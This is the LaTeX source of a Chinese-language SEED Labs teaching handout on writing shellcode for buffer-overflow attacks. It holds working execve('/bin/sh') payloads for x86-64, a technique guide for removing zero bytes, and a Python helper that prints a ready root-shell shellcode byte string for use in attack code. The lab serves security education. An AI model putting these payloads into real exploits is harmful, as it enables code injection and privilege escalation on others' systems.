```tex
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\newcommand{\commonfolder}{../../common-files}

\input{\commonfolder/header}
\input{\commonfolder/copyright}

\newcommand{\gdb}{\texttt{gdb}\xspace} 

\lhead{\bfseries SEED Labs -- Shellcode Development Lab}


\begin{document}

\begin{center}
{\LARGE Shellcode Development Lab}
\end{center}

\seedlabcopyright{2020}

% *******************************************
% SECTION
% ******************************************* 
\section{概述}

Shellcode 广泛用于涉及代码注入的许多攻击中。编写 shellcode 很具挑战性。虽然我们可以很容易地从互联网上找到现有的 shellcode，但在某些特定要求下我们可能需要编写自己的 shellcode。而且能够从头开始编写自己的 shellcode 总是令人兴奋的。
shellcode 涉及多种有趣的技巧。
本实验室旨在帮助学生了解这些技巧，从而能够编写自己的 shellcode。

在编写 shellcode 时有几项挑战：一是确保二进制文件中没有零；二是找出命令所使用的数据地址。第一个挑战并不难解决，并且有几种方法可以解决它。第二个挑战的解决方案导致了两种典型的编写 shellcode 的方法。一种方法是在执行过程中将数据推入堆栈，因此可以从堆栈指针获取其地址。另一种方法是将数据存储在代码区域，在一个 \texttt{call} 指令之后。当执行 \texttt{call} 指令时，数据的地址被视为返回地址，并被压入堆栈。
这两种解决方案都非常优雅，我们希望学生可以学习这些技术。本实验室涵盖了以下主题：

\begin{itemize}[noitemsep]
    \item shellcode
    \item 汇编代码
    \item 反汇编
\end{itemize}

\paragraph{参考资料和视频}
详细覆盖 shellcode 的内容可以在以下章节中找到：
\begin{itemize}
    \item 《SEED Book》的第9章，\seedbook
    \item SEED 课程（第30讲）第4节，\seedcsvideo
\end{itemize}

\paragraph{实验室环境。} \seedenvironmentC

% *******************************************
% SECTION
% *******************************************
\section{任务1：编写汇编代码}

为了能够在 shellcode 中直接控制使用的指令，使用汇编语言是最好的方法。
在本任务中，我们将通过一个示例程序来熟悉开发环境。

不同的计算机体系结构有不同的汇编语言。在这个任务中，样例代码（\texttt{hello.s}）适用于 amd64 (64位) 架构。该代码包含在 \texttt{Labsetup} 文件夹中。
对于 Apple 硅机器，可以在 \texttt{Labsetup/arm} 文件夹中找到 arm 版本的样例代码。

\begin{lstlisting}[caption={一个示例 amd64 汇编程序（\texttt{hello.s}）}]
global _start

section .text

_start:
  mov rdi, 1        ; 标准输出
  mov rsi, msg      ; 消息的地址
  mov rdx, 15       ; 消息长度
  mov rax, 1        ; 写系统调用号
  syscall           ; 调用 write(1, msg, 15)

  mov rdi, 0        ;
  mov rax, 60       ; 出口系统调用号
  syscall           ; 调用 exit(0)

section .rodata
  msg: db "Hello, world!", 10
\end{lstlisting}

\paragraph{编译为目标代码。}
我们使用 \texttt{nasm} 来编译上述汇编代码，它是一个适用于 Intel x86 和 x64 架构的汇编器和反汇编器。
对于 arm64 架构，相应的工具名为 \texttt{as}。
选项 \texttt{-f elf64} 表示我们希望将代码编译为 64 位 ELF 可执行文件格式。可执行链接格式（ELF）是一种常用的二进制文件标准格式，适用于可执行文件、目标代码和共享库。
对于 32 位汇编代码，应使用 \texttt{elf32}。

\begin{lstlisting}
// 对于 amd64
$ nasm -f elf64 hello.s -o hello.o  

// 对于 arm64
$ as  -o hello.o hello.s 
\end{lstlisting}

\paragraph{链接以生成最终二进制文件。}
一旦我们得到了目标代码 \texttt{hello.o}，如果我们要生成可执行的二进制文件，可以运行链接程序 \texttt{ld}，这是编译过程中的最后一步。
经过这步后，我们将得到最终的可执行代码 \texttt{hello}。如果我们运行它，将输出 "Hello, world!"。

\begin{lstlisting}
// 对于 amd64 和 arm64
$ ld hello.o -o hello
$ ./hello  
Hello, world!
\end{lstlisting}

\paragraph{获取机器码。}
在大多数攻击中，我们只需要 shellcode 的机器代码而不是一个独立的可执行文件，这个可执行文件包含除了实际机器代码之外的数据。
技术上来说，只有机器代码才称为 shellcode。因此我们需要从可执行文件或目标文件中提取机器代码。有多种方法可以做到这一点。一种方式是使用 \texttt{objdump} 命令反汇编可执行文件或目标文件。

对于 amd64 架构，有两种常见的汇编码模式：AT\&T 模式和 Intel 模式。默认情况下，\texttt{objdump} 使用 AT\&T 模式。
以下我们使用 \texttt{-Mintel} 选项来生成 Intel 模式的汇编代码。

\begin{lstlisting}
$ objdump -Mintel -d hello.o
hello.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <_start>:
   0:	bf 01 00 00 00       	mov    edi,0x1
   5:	48 be 00 00 00 00 00 	movabs rsi,0x0
   c:	00 00 00 
   f:	ba 0f 00 00 00       	mov    edx,0xf
  14:	b8 01 00 00 00       	mov    eax,0x1
  19:	0f 05                	syscall 
  1b:	bf 00 00 00 00       	mov    edi,0x0
  20:	b8 3c 00 00 00       	mov    eax,0x3c
  25:	0f 05                	syscall 
\end{lstlisting}

在上述输出中，冒号后面的数字是机器码。
你也可以使用 \texttt{xxd} 命令打印二进制文件的内容，并且你应该能够从输出中找到 shellcode 的机器代码。

\begin{lstlisting}
$ xxd -p -c 20 hello.o
7f454c4602010100000000000000000001003e00
...
000000001800000000000000bf01000048be000000000000ba0f000000b8010000000f05bf00000000b83c0000000f05000000000000
...
\end{lstlisting}

\paragraph{任务。} 你的任务是完成整个过程：编译并运行示例代码，然后从二进制文件中获取机器码。

% *******************************************
% SECTION
% *******************************************
\section{任务2：编写 shellcode（方法1）}

shellcode 的主要目的是非常简单的：执行一个 shell 程序，如 \texttt{/bin/sh}。
在 Ubuntu 操作系统中，可以通过调用 \texttt{execve()} 系统调用来实现这一点。

\begin{lstlisting}
execve("/bin/sh", argv[], 0)
\end{lstlisting}

我们需要向此系统调用传递三个参数：
在 amd64 架构下，它们通过 \texttt{rdi}、\texttt{rsi} 和 \texttt{rdx} 寄存器传递。
在 arm64 架构下，它们通过 \texttt{x0}、\texttt{x1} 和 \texttt{x2} 寄存器传递。伪代码如下所示：

\begin{lstlisting}
// 对于 amd64 体系结构
Let rdi = "/bin/sh" 字符串的地址
Let rsi = argv[] 数组的地址
Let rdx = 0

Let rax = 59    // 59 是 execve 的系统调用号
syscall         // 调用 execve()

// 对于 arm64 体系结构
Let x0  = "/bin/sh" 字符串的地址
Let x1  = argv[] 数组的地址
Let x2  = 0

Let x8 = 221   // 221 是 execve 的系统调用号
svc 0x1337      // 调用 execve()
\end{lstlisting}

编写 shellcode 的主要挑战是如何获取 \texttt{"/bin/sh"} 字符串和 \texttt{argv[]} 数组的地址？它们是两种典型的方法：

\begin{itemize}
    \item 方法1：将字符串和数组存储在代码段中，然后使用 PC 寄存器（指向代码段）来获取其地址。我们在本任务中重点讲解这种方法。

    \item 方法2：动态在堆栈上构造字符串和数组，然后使用堆栈指针寄存器来获取它们的地址。我们将在下一任务中重点讲解此方法。
\end{itemize}

% -------------------------------------------
% SUBSECTION
% -------------------------------------------
\subsection{任务2.a. 理解代码} 

我们提供了一个示例 shellcode 供参考，这是为 amd64 架构编写的。该代码也可以在 \texttt{Labsetup} 文件夹中找到。
如果你在 Apple 硅机器上运行此实验室，则可以在 \texttt{arm} 子文件夹中找到示例 arm64 代码。

\begin{lstlisting}[caption={一个 64 位 shellcode 示例（\texttt{mysh64.s}）}]
section .text
  global _start
    _start:
       BITS 64
       jmp short two
    one:
       pop rbx             
       
       mov [rbx+8],  rbx  ; 将 rbx 存储到地址为 rbx + 8 的内存中
       mov rax, 0x00      ; rax = 0
       mov [rbx+16], rax  ; 将 rax 存储到地址为 rbx + 16 的内存中
       
       mov rdi, rbx       ; rdi = rbx        (*@\lineone@*) 
       lea rsi, [rbx+8]   ; rsi = rbx +8     (*@\linetwo@*)  
       mov rdx, 0x00      ; rdx = 0
       mov rax, 59        ; rax = 59
       syscall
    two:
       call one                                                                   
       db '/bin/sh', 0 ; 命令字符串（以零结尾） (*@\linethree@*) 
       db 'AAAAAAAA'   ; argv[0] 占位符  
       db 'BBBBBBBB'   ; argv[1] 占位符
\end{lstlisting}

上述代码首先跳转到标签 \texttt{two} 处的指令，这是另一个跳转（目标为标签 \texttt{one}）但这次使用的是 \texttt{call} 指令。此指令用于函数调用，在其跳转到目标位置之前，会在堆栈顶部保存下一个指令地址（即返回地址），以便当函数返回时可以返回到 \texttt{call} 之后的指令。

在这个例子中，\texttt{call} 指令后的“指令”实际上是存储字符串的地方。但这并不重要，因为 \texttt{call} 指令会将该地址（即字符串的地址）压入堆栈，在函数帧的返回地址字段中。当我们跳转到 \texttt{one} 位置进入函数后，堆栈顶部保存的是返回地址。
因此，\texttt{pop rbx} 指令实际上是从第 \linethree 行获取字符串的地址，并将其存储在 \texttt{rbx} 寄存器中。这就是如何获得字符串地址的方法。

\paragraph{任务。}
请完成以下任务：

\begin{enumerate}
    \item 编译并运行代码，看看是否能获得一个 shell。使用 \texttt{-g} 选项来启用调试信息，因为我们将要进行调试。

    \begin{lstlisting}
// 对于 amd64
$ nasm -g -f elf64 -o mysh64.o mysh64.s 
$ ld --omagic -o mysh64 mysh64.o 

// 对于 arm64
$ as  -g -o mysh64.o mysh64.s
$ ld --omagic -o mysh64 mysh64.o
\end{lstlisting}

**注意。** 当运行链接程序 \texttt{ld} 时，需要使用 \texttt{--omagic} 选项。
默认情况下代码段不可写入。当这个程序运行时，它需要修改代码区域中的数据；如果代码段不可写，则该程序将崩溃。
这在实际攻击中不是问题，因为在攻击中代码通常被注入到可写的 data 区域（例如栈或堆）中。
通常我们不会单独运行 shellcode。

    \item 使用 \gdb 调试程序，并展示程序是如何获取字符串 \texttt{/bin/sh} 的地址的。  

    \item 解释程序如何构造 \texttt{argv[]} 数组，并指出哪几行设置 \texttt{argv[0]} 和 \texttt{argv[1]} 的值。

    \item 解释第 \lineone 和 \linetwo 行的真实含义。
\end{enumerate}

\paragraph{常用 \gdb 命令。}
这里有一些可能对本实验室有用的 \gdb 命令。要了解如何使用其他 \gdb 命令，可以在 \gdb 中输入 \texttt{help} 来获取命令类名称列表。在 \texttt{help} 后面跟一个类别名称，则可以获取该类别的命令列表。

\begin{lstlisting}
$ gdb mysh64

help          -- 打印帮助信息
break one     -- 在 "one" 部分设置断点
run           -- 开始调试程序。
step          -- 步进程序直到它达到不同的源代码行。
print  $rbx   -- 打印 rbx 寄存器的值
x/40bx <addr> -- 打印地址为 <addr> 的内存内容
x/40bx $rsp   -- 打印堆栈顶部的前 40 字节
x/5gx  $rsp   -- 打印堆栈顶部的前 4 双字（8 字节）
quit          -- 退出 gdb 
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务2.b. 消除代码中的零}

shellcode 广泛用于缓冲区溢出攻击。在许多情况下，漏洞是由字符串复制引起的，例如 \texttt{strcpy()} 函数。
对于这些字符串复制函数，零被认为是字符串的结束。因此如果 shellcode 中包含零，则字符串复制将无法复制零之后的内容，
从而导致攻击失败。虽然并非所有漏洞都与零有关，但要求 shellcode 不应在机器代码中包含任何零；否则应用 shellcode 的范围将受到限制。

上一节提供的示例 shellcode 包含几个零，因此不是一个真正的 shellcode。
请使用 \texttt{objdump} 命令获取 shellcode 的机器码并标记所有含有零的指令。

要消除这些零，需要重新编写 shellcode \texttt{mysh64.s}，用替代的方法替换有问题的指令。第~\ref{sec:zero} 节提供了一些你可以使用的方法来摆脱零。
请展示修订后的 \texttt{mysh64.s} 并解释你是如何从代码中消除每个单独的零。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务2.c. 运行更复杂的命令}

在 \texttt{mysh64.s} 中，
我们为 \texttt{execve()} 系统调用构造了 \texttt{argv[]} 数组。由于我们的命令是 \texttt{/bin/sh}，没有其他参数，
因此我们的 \texttt{argv} 数组只包含两个元素：第一个指向命令字符串的指针，第二个指针为零。

在本任务中，我们需要运行以下命令，即我们希望使用 \texttt{execve} 执行以下命令，并通过 \texttt{/bin/bash} 来执行 \texttt{"echo hello; ls -la"} 命令。 

\begin{lstlisting}
/bin/bash -c "echo hello; ls -la"
\end{lstlisting}

在这个新命令中，\texttt{argv} 数组应该包含以下四个元素，并且所有这些都需要在堆栈上构造。
请修改 \texttt{mysh64.s} 并展示执行结果。如通常一样，shellcode 中不能有任何零。

\begin{lstlisting}
argv[0] = "/bin/bash" 字符串的地址
argv[1] = "-c" 字符串的地址
argv[2] = "echo hello; ls -la" 命令字符串的地址
argv[3] = 0 
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务2.d. 传递环境变量}

\texttt{execve()} 系统调用的第三个参数是一个指向环境变量数组的指针，它允许我们向程序传递环境变量。
在我们的示例程序中，我们将一个空指针传递给 \texttt{execve()}，因此没有将任何环境变量传递给该程序。 
在这项任务中，我们需要传递一些环境变量。

如果我们将 shellcode \texttt{mysh64.s} 中的命令从 \texttt{"/bin/sh"} 更改为 \texttt{"/usr/bin/env"}, 这是一个用于输出环境变量的命令。
你会发现当我们运行 shellcode 时没有输出，因为我们的进程中没有任何环境变量。

在这项任务中，我们将编写一个名为 \texttt{myenv64.s} 的 shellcode。当该程序执行时，它会执行 \texttt{"/usr/bin/env"} 命令，
并打印出以下环境变量： 

\begin{lstlisting}
$ ./myenv64
aaa=hello
bbb=world
ccc=hello world
\end{lstlisting}

为了编写这样的 shellcode，我们需要在堆栈上构造一个环境变量数组，并将该数组的地址存储到 \texttt{rdx} 寄存器中，然后调用 \texttt{execve()}。
构建此数组的方式与我们如何构造 \texttt{argv[]} 数组的方法相同。参见以下内容： 

\begin{lstlisting}
env[0] = "aaa=hello" 字符串的地址
env[1] = "bbb=world" 字符串的地址
env[2] = "ccc=hello world" 字符串的地址
env[3] = 0   // 0 标记数组结尾
\end{lstlisting}

% *******************************************
% SECTION
% *******************************************
\section{任务3：编写 shellcode（方法2）} 

另一种获取 \texttt{/bin/sh} 和 \texttt{argv[]} 数组的方法是在堆栈上动态构造它们，然后使用堆栈指针寄存器来获取其地址。
使用此方法的一个示例 shellcode（适用于 amd64 架构）如下所示。amd64 代码和 arm64 代码都可以从 \texttt{Labsetup} 文件夹中找到。

该代码的简要解释注释在其中，但学生如果想要看到更详细的解释，可以在 SEED 书中找到更多内容。

\begin{lstlisting}[caption={使用堆栈方法的 shellcode（\texttt{another\_sh64.s}）}]
section .text
global _start
  _start:
    xor  rdx, rdx       ; rdx = 0
    push rdx            ; 将 0 压入堆栈（终止下面的字符串）
    mov rax,'/bin//sh'  
    push rax            ; 将字符串压入堆栈
    mov rdi, rsp        ; rdi = 指向命令字符串的地址

    push rdx            ; 将 argv[1]=0 压入堆栈
    push rdi            ; 将 argv[0] 压入堆栈
    mov rsi, rsp        ; rsi = 指向 argv[] 数组的地址

    xor  rax, rax
    mov  al, 59         ; execve()
    syscall
\end{lstlisting}

我们可以使用以下命令将汇编代码编译为 64 位二进制代码：

\begin{lstlisting}
// 对于 amd64
$ nasm -f elf64 mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64

// 对于 arm64
$ as mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64
\end{lstlisting}

\paragraph{任务3.a.}
该代码示例展示了如何执行 \texttt{"/bin/sh"}。
在这个任务中，我们需要修订 shellcode，使其能够执行以下更复杂的 shell 命令。请编写你的代码以实现此目的，并展示代码中没有任何零。

\begin{lstlisting}
/bin/bash -c "echo hello; ls -la"
\end{lstlisting}

\paragraph{任务3.b.}
请比较本实验室中的两种方法。你更喜欢哪一种，为什么？

% *******************************************
% SECTION
% *******************************************
\section{指南：摆脱零}
\label{sec:zero}

有很多技术可以摆脱 shellcode 中的零。
在这一部分中，我们讨论了一些可能对这个实验室有用的常见技术。
尽管对于 amd64 和 arm64 架构来说，常见的想法是相同的，
但指令不同。在这部分内容中，我们将使用 amd64 指令作为示例。
学生如果在 Apple 硅机器上工作，可以从这里获取指南：
\href{https://github.com/seed-labs/seed-labs/blob/master/category-software/Shellcode/arm/shellcode_arm64.md}{Writing ARM64 shellcode (in Ubuntu)}. 

\begin{itemize}
    \item 如果我们要将零赋值给 \texttt{rax}，我们
可以使用 \texttt{"mov rax, 0"}，但这样做会导致机器码中包含零。
一个典型的解决方法是
使用 \texttt{"xor rax, rax"}，即我们将 \texttt{rax} 与自身相异或，
结果为零，并将其保存到 \texttt{rax} 中。

    \item 如果我们要将 \texttt{0x99} 存储到 \texttt{rax}。
我们不能只是使用 \texttt{"mov rax, 0x99"}，因为
第二个操作数会被扩展为8个字节，即 \texttt{0x0000000000000099}，
包含七个零。要解决这个问题，我们可以首先将 \texttt{rax} 设为零，并然后
将一个八位的数字（\texttt{0x99}）赋值给 \texttt{al} 寄存器，它代表 \texttt{eax} 的最低8位。

    \begin{lstlisting}
xor rax, rax
mov al,  0x99
    \end{lstlisting}

    \item 另一种方法是使用移位。再次举例说明，我们想将 \texttt{0x99} 存储到 \texttt{rax}。
首先，我们将 \texttt{0xFFFFFFFFFFFF99} 存储到 \texttt{rax} 中；
其次，向左移 56 比特；现在 \texttt{rax} 包含 \texttt{0x9900000000000000}。
然后我们再次向右移 56 比特；最高有效位的56比特（7个字节）将填充为 \texttt{0x00}。 
之后，\texttt{rax} 将包含 \texttt{0x00000000000099}。

    \begin{lstlisting}
mov  rax, 0xFFFFFFFFFFFFFF99
shl  rax, 56
shr  rax, 56
    \end{lstlisting}

    \item 字符串需要以零终止，但如果我们像第一行那样定义一个字符串，
我们将有一个零出现在代码中。为了解决这个问题，我们可以使用第二行的方式来定义字符串，即将非零字节（\texttt{0xFF}）放在字符串的末尾。
获取到字符串地址后，我们可以动态地将该非零字节替换为 \texttt{0x00}。假设我们已经将字符串地址存储到了 \texttt{rbx} 中，
并且我们知道字符串长度（不包括零）是6；因此我们可以使用以下指令来
用 \texttt{0x00} 替换 \texttt{0xFF}。

    \begin{lstlisting}
xor al, al
mov [rbx+6], al
    \end{lstlisting}

\end{itemize}


% *******************************************
% SECTION
% *******************************************
\section{提交指南}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\input{\commonfolder/submission}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% *******************************************
% SECTION
% *******************************************
\appendix
\section{将 shellcode 用于攻击代码}

在实际的攻击中，我们需要在攻击代码（如 Python 或 C 程序）中包含 shellcode。
我们通常将机器码存储在一个数组中，但如果手动将由 \texttt{xxd} 命令输出的内容转换为
Python 和 C 程序中的数组赋值是很繁琐的，特别是如果我们需要在实验室内多次执行此过程。 
为此，我们编写了以下 Python 代码来帮助这个过程。
只需复制从 \texttt{xxd} 命令输出中获取到的机器码部分（只包含 shellcode 部分），并在下面标有 \texttt{"""} 的行之间粘贴即可。此代码可以从实验室网站下载。

\begin{lstlisting}[caption=\texttt{convert.py}] 
#!/usr/bin/env python3

# 运行 "xxd -p -c 20 mysh.o"，并
# 将机器码部分复制和粘贴到以下内容：
ori_sh ="""
31db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80
"""

sh = ori_sh.replace("\n", "")

length  = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15:
       s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)
\end{lstlisting}

\texttt{convert.py} 程序将输出以下 Python 代码，您可以将其包含在攻击代码中。它将 shellcode 存储在一个 Python 数组中。

\begin{lstlisting}
$ ./convert.py
Length of the shellcode: 35
shellcode= (
   "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
   "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
   "\x0b\xcd\x80"
).encode('latin-1')
\end{lstlisting}

\end{document}
```